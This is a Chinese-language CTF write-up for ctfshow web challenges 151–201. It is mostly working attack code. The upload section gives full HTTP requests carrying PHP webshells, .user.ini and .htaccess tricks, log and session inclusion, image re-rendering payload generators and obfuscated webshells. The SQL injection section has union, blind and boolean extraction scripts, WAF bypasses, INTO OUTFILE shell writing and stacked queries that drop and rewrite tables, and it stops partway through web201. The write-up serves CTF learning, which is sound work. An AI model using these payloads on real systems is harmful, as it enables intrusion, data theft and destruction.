ctfshow-Web入门刷题记录2

参考:

php反序列化从入门到放弃(入门篇)

php反序列化从入门到放弃(放弃篇)

CTFSHOW 反序列化篇

CTFshow-WEB入门-反序列化

CTFSHOW文件上传篇

MySQL 5.7 Reference Manual

MySQL时间盲注的五种延时方法实现

文件上传

web151

提示前台校验不可靠,禁用js或者直接发包就可(png即可)

POST /upload.php HTTP/1.1
Host: 0e85dc83-97fd-4ea9-921a-3c2b43d36b63.challenge.ctf.show
Content-Length: 202
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7VSPjBqZx9Pl0H7T
Origin: http://0e85dc83-97fd-4ea9-921a-3c2b43d36b63.challenge.ctf.show
Referer: http://0e85dc83-97fd-4ea9-921a-3c2b43d36b63.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: msg=1
Connection: close

------WebKitFormBoundary7VSPjBqZx9Pl0H7T
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/png

<?php @eval($_GET[1]); ?>
------WebKitFormBoundary7VSPjBqZx9Pl0H7T--

上传后直接蚁剑连接或者执行命令即可

/upload/a.php?1=system('tac ../flag.php');

web152

提示后端校验要严密,直接发包

POST /upload.php HTTP/1.1
Host: 39421927-8d0d-4ee1-a509-91e361c3b7ee.challenge.ctf.show
Content-Length: 203
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqZyuIUBOwCSDs4xw
Origin: http://39421927-8d0d-4ee1-a509-91e361c3b7ee.challenge.ctf.show
Referer: http://39421927-8d0d-4ee1-a509-91e361c3b7ee.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: msg=1
Connection: close

------WebKitFormBoundaryqZyuIUBOwCSDs4xw
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/png

<?php @eval($_GET[1]); ?>
------WebKitFormBoundaryqZyuIUBOwCSDs4xw--

web153

这道题目主要考察.user.ini的利用

上传图片🐎

Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/png

<?php @eval($_GET[1]);?>

上传配置文件

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=1.jpg

然后访问

/upload/index.php?1=system(%27tac%20../flag.php%27);

但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。

对于这个题,因为upload目录下有个index.php所以这种方式是可以成功的。

web154-155

这里对文件内容也进行了过滤,故可以使用一些短标签

//1.前提是开启配置参数short_open_tags=on
<? echo '123';?>

//2.不需要开启参数设置
<?=(表达式)?> 等价于 <?php echo (表达式)?>

//3.前提是开启配置参数asp_tags=on,7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
<% echo '123';%>

//4.不需要修改参数开关,但是只能在7.0以下可用。
<script language=”php”>echo '123'; </script>

后面发现貌似对flag字符也过滤了,可以直接传🐎绕过去

<?=eval($_POST[1]);?>

也可以这样写

Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/png

<?=`tac ../f*`?>

其他同web153

web156

[]被ban了,换用{}即可

<?=eval($_POST{1});?>

其他同web153

web157-159

过滤了{};,直接输出flag即可,图片🐎如下,其他同web153

Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/png

<?=`tac ../f*`?>

或者这种也可(web159过滤了括号不可以这样)

<?=system('tac ../f*')?>

web160

过滤了括号反引号还有一些关键字,采取日志包含,由于log关键字被过滤了,所以要拼接下

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

上传完改图片🐎后上传.user.ini,然后修改UA访问/upload.php

User-Agent: <?php system('tac ../f*');?>

web161

增加图片头即可,其他同web160

Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/png

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162-163

session包含,传🐎

Content-Disposition: form-data; name="file"; filename="png"
Content-Type: image/png

GIF89a
<?=include"/tmp/sess_evo1"?>

传配置文件

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_append_file="png"

参考yu22x师傅脚本改一下即可

#encoding: utf-8
import requests
import re
import threading
import os

session = requests.session()
sess = 'evo1'

url1 = 'http://703e9d52-141b-4ca2-9b3d-09aa927e88a7.challenge.ctf.show/'
url2 = 'http://703e9d52-141b-4ca2-9b3d-09aa927e88a7.challenge.ctf.show/upload/index.php'

data = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}

file={
'file': sess
}

cookies={
'PHPSESSID': sess
}

def write():
while True:
session.post(url=url1, data=data, files=file, cookies=cookies)


def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

web164

png图片二次渲染绕过,用yu22x的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

生成图片🐎上传后点击查看,然后执行命令

/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system
POST:
1=cat f*

ctrl+s保存下来查看图片文本即可

web164.jpg

web165

jpg图片二次渲染绕过,还是用yu22x的脚本(大佬orz)

<?php
//用法 php JpgRendering.php test.jpg
$miniPayload = "<?php system('tac f*');?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

使用下国光师傅的图片,然后流程参考了dota_st师傅的博客,要先上传一遍原图1.jpg,然后点击查看并把图片下载下来并命名为2.jpg,紧接着用脚本去生成payload_2.jpg,最后上传并执行命令。

web165.jpg

web166

源码中发现只能传zip文件

<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}">

直接传🐎然后发包访问即可

Content-Disposition: form-data; name="file"; filename="test.zip"
Content-Type: application/x-zip-compressed

<?php system('cat ../flag.php');?>

web167

提示httpd,所以想到.htaccess绕过

这里简单介绍几个用法

  1. 将.png后缀的文件解析成php

    AddType application/x-httpd-php .png
  2. 功能同1

    <FilesMatch "png">
    SetHandler application/x-httpd-php
    </FilesMatch>
  3. 当前所有类型文件解析为php

    SetHandler application/x-httpd-php 
  4. 如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件

    php_value auto_append_file 'flag'

上传完.htaccess文件后上传图片🐎访问执行命令即可

web168

提示基础免杀

网上找了几个

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

任选一个上传,记得修改后缀为.php即可

/upload/test.php
POST:
1=tac ../flagaa.php

web169-170

发现正常上传php文件内容种包含<就不行,所以考虑日志包含(php://input尝试后发现不行),因为目录下没有php文件所以先传个index.php上去

Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: image/png

evo1ution

上传.user.ini包含日志

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=/var/log/nginx/access.log

然后修改UA<?php eval($_POST[1]);?>,随后访问执行命令即可(使用phpinfo可以帮助定位)

POST:
1=system('tac ../flagaa.php');phpinfo();

sql注入

web171

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

查询后面的即可

-1' or id = '26

web172

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

联合查询并且username不能是flag

-1' UNION SELECT id,password from ctfshow_user2 where username = 'flag

web173

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

换成3列即可

-1' UNION SELECT id,2,password from ctfshow_user3 where username = 'flag

也可以对列名字进行hex处理(其他编码也可to_base64,也可以截断substr或者逆向reverse输出)

-1' UNION SELECT id,hex(username),password from ctfshow_user3 where username = 'flag

web174

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

过滤了flag和数字,考虑把所有数字替换掉

#encoding: utf-8
import os
import requests
import re
import threading

url = "http://41c95c0c-b709-4515-8f36-a3dc76110439.challenge.ctf.show/api/v4.php?id="
a1=[0,1,2,3,4,5,6,7,8,9]
a2=['!','@','-','$','_','^','=','*','(',')']

payload = 'password'

for i in range(10):
payload = "replace(" + payload + ",{},'{}')".format(a1[i], a2[i])
payload = "-1' union select 'a'," + payload + " from ctfshow_user4 where username = 'flag"

# print(payload)
response = requests.get(url=url+payload)
res = re.findall(r'ctfshow{.*?}',response.text)[0]

flag = ''
for c in res:
if c in a2:
flag += str(a1[a2.index(c)])
else:
flag += c
print(flag)

web175

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

过滤了ascii码从1~127的字符,测试发现用中文字符不行,因为返回的json格式仍会被检测到,故选择直接写入一句话木🐎(注意列数,这里是2列)

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php

去看数据库配置参数

/1.php
POST:
1=system('cat ./api/config.php');

得到源码

<?php
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow_web";
$charName = "utf-8";

蚁剑连接,右键选择数据操作,配置参数(数据库类型选择MYSQLI),连接后在数据库中找到flag

web175.png

web176

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

基本上没过滤

-1' or id = '26
-1' or username='flag
-1' or '1

web177

过滤了空格

-1'/**/or/**/username='flag
-1'or`username`='flag
-1'or`id`='26
-1'union%0bselect/**/1,2,password/**/from/**/ctfshow_user%23

web178

在上一题基础上过滤了/**/(除了下述payload,也可以用%0a,%09)

-1'or`username`='flag
-1'or`id`='26
-1'union%0bselect%0b1,2,password%0bfrom%0bctfshow_user%23

web179

又过滤了%0a和%09

-1'or`id`='26
-1'or`username`='flag
-1'or`username`like'%fla%
1'||1%23
-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180

过滤了注释符#--

-1'or`id`='26
-1'or`username`='flag
-1'or`username`like'%fla%
-1'||username='flag
-1'union%0cselect%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere`username`='flag'),'3

web181

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

禁用了一些字符

-1'or`id`='26
-1'or`username`='flag
-1'or`username`like'%fla%
-1'||username='flag

web182

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

flag给过滤了,模糊匹配或者正则即可

-1'or`username`like'%fla%
-1'||(username)regexp'f
-1'||(password)regexp'f

web183

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;

根据返回的记录总数盲注即可

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib

letters = string.ascii_letters + string.digits + '-}{_'
url = 'http://799ce76f-af36-4e17-a4ef-deef39f0d322.challenge.ctf.show/select-waf.php'
stop = False
flag = 'ctfshow{'
while stop is False:
for c in letters:
payload = flag + c
data = {
"tableName":f"(ctfshow_user)where(pass)like'%{payload}%'"
# 也可以用这几种payload
# "tableName":f"`ctfshow_user`where`pass`like'%{payload}%'"
# "tableName":f'(ctfshow_user)where(pass)regexp("^{payload}")'
}
response = requests.post(url=url, data=data)
if 'user_count = 1;' in response.text:
if c == '}':
stop = True
flag = payload
print(flag)
break

web184

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;

引号都被禁用了,但空格放出来了

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


letters = string.ascii_letters + string.digits + '-}{_'
url = 'http://2e4133ff-13ae-4038-9b6e-ce069aa25427.challenge.ctf.show/select-waf.php'
stop = False
flag = 'ctfshow{'
hex_flag = '0x63746673686F777B'
while stop is False:
for c in letters:
payload = hex_flag + hex(ord(c))[2:]
data = {
"tableName":f"ctfshow_user group by pass having pass regexp({payload})"
}
response = requests.post(url=url, data=data)
if 'user_count = 1;' in response.text:
if c == '}':
stop = True
hex_flag = payload
flag += c
print(flag)
break

web185-186

不能用数字了,考虑用chartrue构造出字母,然后用concat拼接起来

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib

# 我这里使用了很多个true拼接,但实际上也可以一位一位的,比如99可以用'9'和'9'拼起来
def str_convert(s:str) -> str:
ss = 'concat('
for c in s:
ss += f'char(true' + '+true'*(ord(c)-1) + '),'
return ss[:-1]+')'


letters = string.ascii_letters + string.digits + '-}{_'
url = 'http://532df19e-89ba-4a7a-8d31-6c7c7e5bea8e.challenge.ctf.show/select-waf.php'
stop = False
flag = 'ctfshow{'

while stop is False:
for c in letters:
payload = str_convert(flag+c)
data = {
"tableName":f"ctfshow_user group by pass having pass regexp({payload})"
}
response = requests.post(url=url, data=data)
if 'user_count = 1;' in response.text:
if c == '}':
stop = True
flag += c
print(flag)
break

web187

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回逻辑

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

当MD5函数的第二个参数为true时,返回的是字符串。

md5('ffifdyop',true)= 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

所以扔进sql语句中正好能闭合并且or后面是个完整字符串且开头为6,故恒为真(貌似字符串和一个非0数字开头的字符串去or结果恒为真)

username=admin&password=ffifdyop

web188

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

没用单引号保护输入,弱类型比较,而且密码哪里比较也是==

username=0
password=0

web189

提示flag在api/index.php文件中

测试后发现,username=1

{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":0,"data":[]}

username=0

{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}

编写脚本盲注文件内容

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://5867279f-effb-40ab-9261-8c7b435da821.challenge.ctf.show/api/"

content = ''

for i in range(257,257+60):
for j in range(32,127):
data = {
"username":f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
"password": "0"
}
response = requests.post(url=url, data=data)
if '8d25' in response.text:
content += chr(j)
print(content)
break

web190

提示不饿,应该是布尔盲注

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

容易知道admin是用户名,利用用户名存在但密码错误用户名不存在进行布尔盲注,二分法会比较快

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://0141af7b-45d8-4912-aa34-55e7d58fed51.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "username":f"admin'and (ascii(substr((select database()),{i},1))<{mid})#",

# 表名 ctfshow_fl0g,ctfshow_user
# "username":f"admin'and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid})#",

# 列名 id,f1ag
# "username":f"admin'and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{mid})#",

# ctfshow{b9599df1-1080-4bbb-a6d0-2a2c8ad4fd63}
"username":f"admin'and (ascii(substr((select group_concat(f1ag)from ctfshow_fl0g),{i},1))<{mid})#",
"password": "0"

}
response = requests.post(url=url, data=data)
if '8bef' in response.text:
r = mid
else:
l = mid

web191

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

可以看到ascii被禁用了,改用ord就好了

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://ff11f70e-c0c6-4a92-8f4e-5c532108b4fa.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "username":f"admin'and (ord(substr((select database()),{i},1))<{mid})#",

# 表名 ctfshow_fl0g,ctfshow_user
# "username":f"admin'and (ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid})#",

# 列名 id,f1ag
# "username":f"admin'and (ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{mid})#",

# ctfshow{18873d0a-9f29-4595-99a5-cff10326c9f2}
"username":f"admin'and (ord(substr((select group_concat(f1ag)from ctfshow_fl0g),{i},1))<{mid})#",
"password": "0"

}
response = requests.post(url=url, data=data)
if '8bef' in response.text:
r = mid
else:
l = mid

web192

if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

直接用字符就好,记得得到的结果要转小写

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://67bbafbb-f32e-4e33-bc12-b1281048ea86.challenge.ctf.show/api/"

flag = ''
for i in range(1,50):
for j in range(32,128):
data = {
# 数据库 ctfshow_web
# "username":f"admin'and if(substr((select database()),{i},1)='{chr(j)}',1,0)#",

# 表名 ctfshow_fl0g,ctfshow_user
# "username":f"admin'and if(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1)='{chr(j)}',1,0)#",

# 列名 id,f1ag
# "username":f"admin'and if(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1)='{chr(j)}',1,0)#",

# CTFSHOW{3AD5D88C-7A43-4D0E-99A2-AC23D5ED9749}
"username":f"admin'and if(substr((select group_concat(f1ag)from ctfshow_fl0g),{i},1)='{chr(j)}',1,0)#",
"password": "0"
}
response = requests.post(url=url, data=data)
if '8bef' in response.text:
flag += chr(j)
print(flag)
break

web193

substr`被禁用,使用`left`代替(注意表名变了,还有结果记得小写),`web193`和`web194`也可以用`mid
#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://a68f5cff-2cf6-4627-99ec-df3b012a8531.challenge.ctf.show/api/"

flag = ''
for i in range(1,46):
for j in range(32,128):
data = {
# 数据库 ctfshow_web
# "username":f"admin'and if(left((select database()),{i})='{flag+chr(j)}',1,0)#",

# 表名 ctfshow_flxg,ctfshow_user
# "username":f"admin'and if(left((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i})='{flag+chr(j)}',1,0)#",

# 列名 id,f1ag
# "username":f"admin'and if(left((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg'),{i})='{flag+chr(j)}',1,0)#",

# CTFSHOW{ECF80221-1B4B-40A3-8AED-A1D11B0E1555}
"username":f"admin'and if(left((select group_concat(f1ag)from ctfshow_flxg),{i})='{flag+chr(j)}',1,0)#",
"password": "0"
}
response = requests.post(url=url, data=data)
if '8bef' in response.text:
flag += chr(j)
print(flag)
break

web194

使用lpad

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://8264940f-695b-406b-8033-9051e766a595.challenge.ctf.show/api/"

flag = ''
for i in range(1,46):
for j in range(32,128):
data = {
# 数据库 ctfshow_web
# "username":f"admin'and if(lpad((select database()),{i},'')='{flag+chr(j)}',1,0)#",

# 表名 ctfshow_flxg,ctfshow_user
# "username":f"admin'and if(lpad((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},'')='{flag+chr(j)}',1,0)#",

# 列名 id,f1ag
# "username":f"admin'and if(lpad((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg'),{i},'')='{flag+chr(j)}',1,0)#",

# ctfshow{ecda663f-20f8-4743-b573-4fe3c2038239}
"username":f"admin'and if(lpad((select group_concat(f1ag)from ctfshow_flxg),{i},'')='{flag+chr(j)}',1,0)#",
"password": "0"
}
response = requests.post(url=url, data=data)
if '8bef' in response.text:
flag += chr(j)
print(flag)
break
# print(flag.lower())

web195

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

没有禁用;,可以考虑堆叠注入,但是由于很多查询字符被ban了,所以考虑修改表

第一种方法可以只修改密码,然后弱类型匹配用0登录

# 修改密码
username=1;update(ctfshow_user)set`pass`=1;&password=1
# 登录
username=0&password=1

也可以直接把用户名也改了,然后登录修改后的用户

username=1;update(ctfshow_user)set`username`=1&password=1
username=1&password=1

web196

直接使用以前泄露的密码

username=0&password=passwordAUTO

然后后台其实没有禁用select,也可以使用错误username使得第一个查询为空,然后堆叠一个语句使其输出为密码

username=1;select(2);&password=2

web197

可以直接用上一关方法,不过select真的被禁用了这次

username=1;show tables;&password=ctfshow_user

也可以把原来表删除建个新表,然后添加自定义用户

username=1;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,2)&password=ctfshow_user

username=1&password=2

web198

上一关方法接着用

username=1;show tables;&password=ctfshow_user

也可以用已经泄露的用户

username=0&password=passwordAUTO

然后如果不知道密码但已知有一个用户是userAUTO也可以互换表的用户名和密码列

username=0;alter table ctfshow_user change `username` `pass2` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `pass2` `pass` varchar(100);&password=1

username=0&password=userAUTO

web199-200

上一关方法接着用

username=1;show tables;&password=ctfshow_user

已经泄露的用户

username=0&password=passwordAUTO

括号被禁用了,可以使用text

username=0;alter table ctfshow_user change `username` `pass2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `pass2` `pass` text;&password=1

username=0&password=userAUTO

web201

要求中

使用–user-agent 指定agent

使用–referer 绕过referer检查

指定uaref即可

# 找到注入点
python sqlmap.py -u "http://cc8db124-5468-4443-9bc1-070ad3aaec8d.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show
# 查看数据库 ctfshow_web
python sqlmap.py -u "http://cc8db124-5468-4443-9bc1-070ad3aaec8d.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show --dbs
# 查看表 ctfshow_user
python sqlmap.py -u "http://cc8db124-5468-4443-9bc1-070ad3aaec8d.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
# 查看列 id pass username
